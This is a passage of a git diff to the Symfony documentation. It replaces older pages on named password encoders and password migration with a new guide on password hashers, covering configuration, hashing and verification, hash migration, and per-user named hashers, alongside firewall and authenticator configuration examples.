App\Security\FacebookConnectAuthenticator; - use App\Security\LoginFormAuthenticator; - - $container->loadFromExtension('security', [ - // ... - 'firewalls' => [ - 'default' => [ - 'anonymous' => true, - 'lazy' => true, - 'guard' => [ - 'entry_point' => LoginFormAuthenticator::class, - 'authenticators' => [ - LoginFormAuthenticator::class, - FacebookConnectAuthenticator::class, - ], - ], - ], - ], - ]); - -There is one limitation with this approach - you have to use exactly one entry point. - -Multiple Authenticators with Separate Entry Points --------------------------------------------------- - -However, there are use cases where you have authenticators that protect different -parts of your application. For example, you have a login form that protects -the secured area of your application front-end and API end points that are -protected with API tokens. As you can only configure one entry point per firewall, -the solution is to split the configuration into two separate firewalls: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - firewalls: - api: - pattern: ^/api/ - guard: - authenticators: - - App\Security\ApiTokenAuthenticator - default: - anonymous: true - lazy: true - guard: - authenticators: - - App\Security\LoginFormAuthenticator - access_control: - - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY } - - { path: '^/api', roles: ROLE_API_USER } - - { path: '^/', roles: ROLE_USER } - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config> - <!-- ... --> - <firewall name="api" pattern="^/api/"> - <guard> - <authenticator>App\Security\ApiTokenAuthenticator</authenticator> - </guard> - </firewall> - <firewall name="default" anonymous="true" lazy="true"> - <guard> - <authenticator>App\Security\LoginFormAuthenticator</authenticator> - </guard> - </firewall> - <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/> - <rule path="^/api" role="ROLE_API_USER"/> - <rule path="^/" role="ROLE_USER"/> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Security\ApiTokenAuthenticator; - use App\Security\LoginFormAuthenticator; - - $container->loadFromExtension('security', [ - // ... - 'firewalls' => [ - 'api' => [ - 'pattern' => '^/api', - 'guard' => [ - 'authenticators' => [ - ApiTokenAuthenticator::class, - ], - ], - ], - 'default' => [ - 'anonymous' => true, - 'lazy' => true, - 'guard' => [ - 'authenticators' => [ - LoginFormAuthenticator::class, - ], - ], - ], - ], - 'access_control' => [ - ['path' => '^/login', 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY'], - ['path' => '^/api', 'roles' => 'ROLE_API_USER'], - ['path' => '^/', 'roles' => 'ROLE_USER'], - ], - ]); diff --git a/security/named_encoders.rst b/security/named_encoders.rst deleted file mode 100644 index cacf302d5d9..00000000000 --- a/security/named_encoders.rst +++ /dev/null @@ -1,195 +0,0 @@ -.. index:: - single: Security; Named Encoders - -How to Use A Different Password Encoder Algorithm Per User -========================================================== - -Usually, the same password encoder is used for all users by configuring it -to apply to all instances of a specific class: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - encoders: - App\Entity\User: - algorithm: auto - cost: 12 - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd" - > - <config> - <!-- ... --> - <encoder class="App\Entity\User" - algorithm="auto" - cost=12 - /> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Entity\User; - - $container->loadFromExtension('security', [ - // ... - 'encoders' => [ - User::class => [ - 'algorithm' => 'auto', - 'cost' => 12, - ], - ], - ]); - -Another option is to use a "named" encoder and then select which encoder -you want to use dynamically. - -In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``. -This may be secure enough for a regular user, but what if you want your admins -to have a stronger algorithm, for example ``auto`` with a higher cost. This can -be done with named encoders: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - encoders: - harsh: - algorithm: auto - cost: 15 - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd" - > - - <config> - <!-- ... --> - <encoder class="harsh" - algorithm="auto" - cost="15"/> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - 'encoders' => [ - 'harsh' => [ - 'algorithm' => 'auto', - 'cost' => '15', - ], - ], - ]); - -.. note:: - - If you are running PHP 7.2+ or have the `libsodium`_ extension installed, - then the recommended hashing algorithm to use is - :ref:`Sodium <reference-security-sodium>`. - -This creates an encoder named ``harsh``. In order for a ``User`` instance -to use it, the class must implement -:class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderAwareInterface`. -The interface requires one method - ``getEncoderName()`` - which should return -the name of the encoder to use:: - - // src/Acme/UserBundle/Entity/User.php - namespace Acme\UserBundle\Entity; - - use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface; - use Symfony\Component\Security\Core\User\UserInterface; - - class User implements UserInterface, EncoderAwareInterface - { - public function getEncoderName() - { - if ($this->isAdmin()) { - return 'harsh'; - } - - return null; // use the default encoder - } - } - -If you created your own password encoder implementing the -:class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`, -you must register a service for it in order to use it as a named encoder: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - encoders: - app_encoder: - id: 'App\Security\Encoder\MyCustomPasswordEncoder' - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd" - > - - <config> - <!-- ... --> - <encoder class="app_encoder" - id="App\Security\Encoder\MyCustomPasswordEncoder"/> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - // ... - use App\Security\Encoder\MyCustomPasswordEncoder; - - $container->loadFromExtension('security', [ - // ... - 'encoders' => [ - 'app_encoder' => [ - 'id' => MyCustomPasswordEncoder::class, - ], - ], - ]); - -This creates an encoder named ``app_encoder`` from a service with the ID -``App\Security\Encoder\MyCustomPasswordEncoder``. - -.. _`libsodium`: https://pecl.php.net/package/libsodium diff --git a/security/password_migration.rst b/security/password_migration.rst deleted file mode 100644 index c30acf70a9e..00000000000 --- a/security/password_migration.rst +++ /dev/null @@ -1,248 +0,0 @@ -.. index:: - single: Security; How to Migrate a Password Hash - -How to Migrate a Password Hash -============================== - -In order to protect passwords, it is recommended to store them using the latest -hash algorithms. This means that if a better hash algorithm is supported on your -system, the user's password should be *rehashed* using the newer algorithm and -stored. That's possible with the ``migrate_from`` option: - -#. `Configure a new Encoder Using "migrate_from"`_ -#. `Upgrade the Password`_ -#. Optionally, `Trigger Password Migration From a Custom Encoder`_ - -Configure a new Encoder Using "migrate_from" ----------------------------------------------- - -When a better hashing algorithm becomes available, you should keep the existing -encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option -on the new encoder to point to the old, legacy encoder(s): - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - encoders: - # an encoder used in the past for some users - legacy: - algorithm: sha256 - encode_as_base64: false - iterations: 1 - - App\Entity\User: - # the new encoder, along with its options - algorithm: sodium - migrate_from: - - bcrypt # uses the "bcrypt" encoder with the default options - - legacy # uses the "legacy" encoder configured above - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:security="http://symfony.com/schema/dic/security" - xsi:schemaLocation="http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <security:config> - <!-- ... --> - - <security:encoder class="legacy" - algorithm="sha256" - encode-as-base64="false" - iterations="1" - /> - - <!-- algorithm: the new encoder, along with its options --> - <security:encoder class="App\Entity\User" - algorithm="sodium" - > - <!-- uses the bcrypt encoder with the default options --> - <security:migrate-from>bcrypt</security:migrate-from> - - <!-- uses the legacy encoder configured above --> - <security:migrate-from>legacy</security:migrate-from> - </security:encoder> - </security:config> - </container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... - - 'encoders' => [ - 'legacy' => [ - 'algorithm' => 'sha256', - 'encode_as_base64' => false, - 'iterations' => 1, - ], - - 'App\Entity\User' => [ - // the new encoder, along with its options - 'algorithm' => 'sodium', - 'migrate_from' => [ - 'bcrypt', // uses the "bcrypt" encoder with the default options - 'legacy', // uses the "legacy" encoder configured above - ], - ], - ], - ]); - -With this setup: - -* New users will be encoded with the new algorithm; -* Whenever a user logs in whose password is still stored using the old algorithm, - Symfony will verify the password with the old algorithm and then rehash - and update the password using the new algorithm. - -.. tip:: - - The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable - password migration using the following list of ``migrate_from`` algorithms: - - #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`); - #. Message digest (which uses :phpfunction:`hash`) - - Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to - use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto* - encoder is used. - -Upgrade the Password --------------------- - -Upon successful login, the Security system checks whether a better algorithm -is available to hash the user's password. If it is, it'll hash the correct -password using the new hash. If you use a Guard authenticator, you first need to -:ref:`provide the original password to the Security system <provide-the-password-guard>`. - -You can enable the upgrade behavior by implementing how this newly hashed -password should be stored: - -* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>` -* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>` - -After this, you're done and passwords are always hashed as secure as possible! - -.. _provide-the-password-guard: - -Provide the Password when using Guard -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When you're using a custom :doc:`guard authenticator </security/guard_authentication>`, -you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`. -This interface defines a ``getPassword()`` method that returns the password -for this login request. This password is used in the migration process:: - - // src/Security/CustomAuthenticator.php - namespace App\Security; - - use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface; - // ... - - class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface - { - // ... - - public function getPassword($credentials): ?string - { - return $credentials['password']; - } - } - -.. _upgrade-the-password-doctrine: - -Upgrade the Password when using Doctrine -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When using the :ref:`entity user provider <security-entity-user-provider>`, implement -:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in -the ``UserRepository`` (see `the Doctrine docs for information`_ on how to -create this class if it's not already created). This interface implements -storing the newly created password hash:: - - // src/Repository/UserRepository.php - namespace App\Repository; - - // ... - use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; - - class UserRepository extends EntityRepository implements PasswordUpgraderInterface - { - // ... - - public function upgradePassword(UserInterface $user, string $newEncodedPassword): void - { - // set the new encoded password on the User object - $user->setPassword($newEncodedPassword); - - // execute the queries on the database - $this->getEntityManager()->flush($user); - } - } - -.. _upgrade-the-password-custom-provider: - -Upgrade the Password when using a Custom User Provider -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -If you're using a :ref:`custom user provider <custom-user-provider>`, implement the -:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in -the user provider:: - - // src/Security/UserProvider.php - namespace App\Security; - - // ... - use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; - - class UserProvider implements UserProviderInterface, PasswordUpgraderInterface - { - // ... - - public function upgradePassword(UserInterface $user, string $newEncodedPassword): void - { - // set the new encoded password on the User object - $user->setPassword($newEncodedPassword); - - // ... store the new password - } - } - -Trigger Password Migration From a Custom Encoder ------------------------------------------------- - -If you're using a custom password encoder, you can trigger the password -migration by returning ``true`` in the ``needsRehash()`` method:: - - // src/Security/CustomPasswordEncoder.php - namespace App\Security; - - // ... - use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface; - - class CustomPasswordEncoder implements PasswordEncoderInterface - { - // ... - - public function needsRehash(string $encoded): bool - { - // check whether the current password is hash using an outdated encoder - $hashIsOutdated = ...; - - return $hashIsOutdated; - } - } - -.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories diff --git a/security/passwords.rst b/security/passwords.rst new file mode 100644 index 00000000000..7f05bc3acb9 --- /dev/null +++ b/security/passwords.rst @@ -0,0 +1,892 @@ +Password Hashing and Verification +================================= + +Most applications use passwords to login users. These passwords should be +hashed to securely store them. Symfony's PasswordHasher component provides +all utilities to safely hash and verify passwords. + +Make sure it is installed by running: + +.. code-block:: terminal + + $ composer require symfony/password-hasher + +Configuring a Password Hasher +----------------------------- + +Before hashing passwords, you must configure a hasher using the +``password_hashers`` option. You must configure the *hashing algorithm* and +optionally some *algorithm options*: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + password_hashers: + # auto hasher with default options for the User class (and children) + App\Entity\User: 'auto' + + # auto hasher with custom options for all PasswordAuthenticatedUserInterface instances + Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: + algorithm: 'auto' + cost: 15 + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <!-- auto hasher with default options for the User class (and children) --> + <security:password-hasher + class="App\Entity\User" + algorithm="auto" + /> + + <!-- auto hasher with custom options for all PasswordAuthenticatedUserInterface instances --> + <security:password-hasher + class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" + algorithm="auto" + cost="15" + /> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + + // auto hasher with default options for the User class (and children) + $security->passwordHasher(User::class) + ->algorithm('auto'); + + // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances + $security->passwordHasher(PasswordAuthenticatedUserInterface::class) + ->algorithm('auto') + ->cost(15); + }; + + .. code-block:: php-standalone + + use App\Entity\User; + use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + + $passwordHasherFactory = new PasswordHasherFactory([ + // auto hasher with default options for the User class (and children) + User::class => ['algorithm' => 'auto'], + + // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances + PasswordAuthenticatedUserInterface::class => [ + 'algorithm' => 'auto', + 'cost' => 15, + ], + ]); + +In this example, the "auto" algorithm is used. This hasher automatically +selects the most secure algorithm available on your system. Combined with +:ref:`password migration <security-password-migration>`, this allows you to +always secure passwords in the safest way possible (even when new +algorithms are introduced in future PHP releases). + +Further in this article, you can find a +:ref:`full reference of all supported algorithms <passwordhasher-supported-algorithms>`. + +.. tip:: + + Hashing passwords is resource intensive and takes time in order to + generate secure password hashes. In general, this makes your password + hashing more secure. + + In tests however, secure hashes are not important, so you can change + the password hasher configuration in ``test`` environment to run tests + faster: + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + when@test: + security: + # ... + + password_hashers: + # Use your user class name here + App\Entity\User: + algorithm: auto + cost: 4 # Lowest possible value for bcrypt + time_cost: 3 # Lowest possible value for argon + memory_cost: 10 # Lowest possible value for argon + + .. code-block:: php + + // config/packages/security.php + use App\Entity\User; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security, ContainerConfigurator $container): void { + // ... + + if ('test' === $container->env()) { + // Use your user class name here + $security->passwordHasher(User::class) + ->algorithm('auto') // This should be the same value as in config/packages/security.yaml + ->cost(4) // Lowest possible value for bcrypt + ->timeCost(2) // Lowest possible value for argon + ->memoryCost(10) // Lowest possible value for argon + ; + } + }; + +Hashing the Password +-------------------- + +After configuring the correct algorithm, you can use the +``UserPasswordHasherInterface`` to hash and verify the passwords: + +.. configuration-block:: + + .. code-block:: php-symfony + + // src/Controller/RegistrationController.php + namespace App\Controller; + + // ... + use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; + + class UserController extends AbstractController + { + public function registration(UserPasswordHasherInterface $passwordHasher): Response + { + // ... e.g. get the user data from a registration form + $user = new User(...); + $plaintextPassword = ...; + + // hash the password (based on the security.yaml config for the $user class) + $hashedPassword = $passwordHasher->hashPassword( + $user, + $plaintextPassword + ); + $user->setPassword($hashedPassword); + + // ... + } + + public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user): void + { + // ... e.g. get the password from a "confirm deletion" dialog + $plaintextPassword = ...; + + if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) { + throw new AccessDeniedHttpException(); + } + } + } + + .. code-block:: php-standalone + + // ... + $passwordHasher = new UserPasswordHasher($passwordHasherFactory); + + // Get the user password (e.g. from a registration form) + $user = new User(...); + $plaintextPassword = ...; + + // hash the password (based on the password hasher factory config for the $user class) + $hashedPassword = $passwordHasher->hashPassword( + $user, + $plaintextPassword + ); + $user->setPassword($hashedPassword); + + // In another action (e.g. to confirm deletion), you can verify the password + $plaintextPassword = ...; + if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) { + throw new \Exception('Bad credentials, cannot delete this user.'); + } + +Reset Password +-------------- + +Using `MakerBundle`_ and `SymfonyCastsResetPasswordBundle`_, you can create +a secure out of the box solution to handle forgotten passwords. First, +install the SymfonyCastsResetPasswordBundle: + +.. code-block:: terminal + + $ composer require symfonycasts/reset-password-bundle + +Then, use the ``make:reset-password`` command. This asks you a few +questions about your app and generates all the files you need! After, +you'll see a success message and a list of any other steps you need to do. + +.. code-block:: terminal + + $ php bin/console make:reset-password + +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:reset-password``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + the entities will be generated with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + +You can customize the reset password bundle's behavior by updating the +``reset_password.yaml`` file. For more information on the configuration, +check out the `SymfonyCastsResetPasswordBundle`_ guide. + +.. _security-password-migration: + +Password Migration +------------------ + +In order to protect passwords, it is recommended to store them using the latest +hash algorithms. This means that if a better hash algorithm is supported on your +system, the user's password should be *rehashed* using the newer algorithm and +stored. That's possible with the ``migrate_from`` option: + +#. `Configure a new Hasher Using "migrate_from"`_ +#. `Upgrade the Password`_ +#. Optionally, `Trigger Password Migration From a Custom Hasher`_ + +Configure a new Hasher Using "migrate_from" +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When a better hashing algorithm becomes available, you should keep the existing +hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option +on the new hasher to point to the old, legacy hasher(s): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + password_hashers: + # a hasher used in the past for some users + legacy: + algorithm: sha256 + encode_as_base64: false + iterations: 1 + + App\Entity\User: + # the new hasher, along with its options + algorithm: sodium + migrate_from: + - bcrypt # uses the "bcrypt" hasher with the default options + - legacy # uses the "legacy" hasher configured above + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:security="http://symfony.com/schema/dic/security" + xsi:schemaLocation="http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <security:config> + <!-- ... --> + + <security:password-hasher class="legacy" + algorithm="sha256" + encode-as-base64="false" + iterations="1" + /> + + <!-- algorithm: the new hasher, along with its options --> + <security:password-hasher class="App\Entity\User" + algorithm="sodium" + > + <!-- uses the bcrypt hasher with the default options --> + <security:migrate-from>bcrypt</security:migrate-from> + + <!-- uses the legacy hasher configured above --> + <security:migrate-from>legacy</security:migrate-from> + </security:password-hasher> + </security:config> + </container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->passwordHasher('legacy') + ->algorithm('sha256') + ->encodeAsBase64(true) + ->iterations(1) + ; + + $security->passwordHasher('App\Entity\User') + // the new hasher, along with its options + ->algorithm('sodium') + ->migrateFrom([ + 'bcrypt', // uses the "bcrypt" hasher with the default options + 'legacy', // uses the "legacy" hasher configured above + ]) + ; + }; + + .. code-block:: php-standalone + + // ... + $passwordHasherFactory = new PasswordHasherFactory([ + 'legacy' => [ + 'algorithm' => 'sha256', + 'encode_as_base64' => true, + 'iterations' => 1, + ], + + User::class => [ + // the new hasher, along with its options + 'algorithm' => 'sodium', + 'migrate_from' => [ + 'bcrypt', // uses the "bcrypt" hasher with the default options + 'legacy', // uses the "legacy" hasher configured above + ], + ], + ]); + +With this setup: + +* New users will be hashed with the new algorithm; +* Whenever a user logs in whose password is still stored using the old algorithm, + Symfony will verify the password with the old algorithm and then rehash + and update the password using the new algorithm. + +.. tip:: + + The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable + password migration using the following list of ``migrate_from`` algorithms: + + #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`); + #. Message digest (which uses :phpfunction:`hash`) + + Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to + use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto* + hasher is used. + +Upgrade the Password +~~~~~~~~~~~~~~~~~~~~ + +Upon successful login, the Security system checks whether a better algorithm +is available to hash the user's password. If it is, it'll hash the correct +password using the new hash. When using a custom authenticator, you must +use the ``PasswordCredentials`` in the :ref:`security passport <security-passport>`. + +You can enable the upgrade behavior by implementing how this newly hashed +password should be stored: + +* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>` +* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>` + +After this, you're done and passwords are always hashed as securely as possible! + +.. note:: + + When using the PasswordHasher component outside a Symfony application, + you must manually use the ``PasswordHasherInterface::needsRehash()`` + method to check if a rehash is needed and ``PasswordHasherInterface::hash()`` + method to rehash the plaintext password using the new algorithm. + +.. _upgrade-the-password-doctrine: + +Upgrade the Password when using Doctrine +........................................ + +When using the :ref:`entity user provider <security-entity-user-provider>`, implement +:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in +the ``UserRepository`` (see `the Doctrine docs for information`_ on how to +create this class if it's not already created). This interface implements +storing the newly created password hash:: + + // src/Repository/UserRepository.php + namespace App\Repository; + + // ... + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; + + class UserRepository extends EntityRepository implements PasswordUpgraderInterface + { + // ... + + public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void + { + // set the new hashed password on the User object + $user->setPassword($newHashedPassword); + + // execute the queries on the database + $this->getEntityManager()->flush(); + } + } + +.. _upgrade-the-password-custom-provider: + +Upgrade the Password when using a Custom User Provider +...................................................... + +If you're using a :ref:`custom user provider <security-custom-user-provider>`, implement the +:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in +the user provider:: + + // src/Security/UserProvider.php + namespace App\Security; + + // ... + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Component\Security\Core\User\PasswordUpgraderInterface; + + class UserProvider implements UserProviderInterface, PasswordUpgraderInterface + { + // ... + + public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void + { + // set the new hashed password on the User object + $user->setPassword($newHashedPassword); + + // ... store the new password + } + } + +Trigger Password Migration From a Custom Hasher +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you're using a custom password hasher, you can trigger the password +migration by returning ``true`` in the ``needsRehash()`` method:: + + // src/Security/CustomPasswordHasher.php + namespace App\Security; + + // ... + use Symfony\Component\PasswordHasher\PasswordHasherInterface; + + class CustomPasswordHasher implements PasswordHasherInterface + { + // ... + + public function needsRehash(string $hashedPassword): bool + { + // check whether the current password is hashed using an outdated hasher + $hashIsOutdated = ...; + + return $hashIsOutdated; + } + } + +.. _named-password-hashers: + +Dynamic Password Hashers +------------------------ + +Usually, the same password hasher is used for all users by configuring it +to apply to all instances of a specific class. Another option is to use a +"named" hasher and then select which hasher you want to use dynamically. + +By default (as shown at the start of the article), the ``auto`` algorithm +is used for ``App\Entity\User``. + +This may be secure enough for a regular user, but what if you want your +admins to have a stronger algorithm, for example ``auto`` with a higher +cost. This can be done with named hashers: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + password_hashers: + harsh: + algorithm: auto + cost: 15 + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd" + > + + <config> + <!-- ... --> + <security:password-hasher class="harsh" + algorithm="auto" + cost="15"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->passwordHasher('harsh') + ->algorithm('auto') + ->cost(15) + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory; + + $passwordHasherFactory = new PasswordHasherFactory([ + // ... + 'harsh' => [ + 'algorithm' => 'auto', + 'cost' => 15 + ], + ]); + +This creates a hasher named ``harsh``. In order for a ``User`` instance +to use it, the class must implement +:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`. +The interface requires one method - ``getPasswordHasherName()`` - which should return +the name of the hasher to use:: + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Component\Security\Core\User\UserInterface; + + class User implements + UserInterface, + PasswordAuthenticatedUserInterface, + PasswordHasherAwareInterface + { + // ... + + public function getPasswordHasherName(): ?string + { + if ($this->isAdmin()) { + return 'harsh'; + } + + return null; // use the default hasher + } + } + +.. warning:: + + When :ref:`migrating passwords <security-password-migration>`, you don't + need to implement ``PasswordHasherAwareInterface`` to return the legacy + hasher name: Symfony will detect it from your ``migrate_from`` configuration. + +If you created your own password hasher implementing the +:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`, +you must register a service for it in order to use it as a named hasher: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + password_hashers: + app_hasher: + id: 'App\Security\Hasher\MyCustomPasswordHasher' + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd" + > + + <config> + <!-- ... --> + <security:password_hasher class="app_hasher" + id="App\Security\Hasher\MyCustomPasswordHasher"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\Hasher\MyCustomPasswordHasher; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->passwordHasher('app_hasher') + ->id(MyCustomPasswordHasher::class) + ; + }; + +This creates a hasher named ``app_hasher`` from a service with the ID +``App\Security\Hasher\MyCustomPasswordHasher``. + +Hashing a Stand-Alone String +---------------------------- + +The password hasher can be used 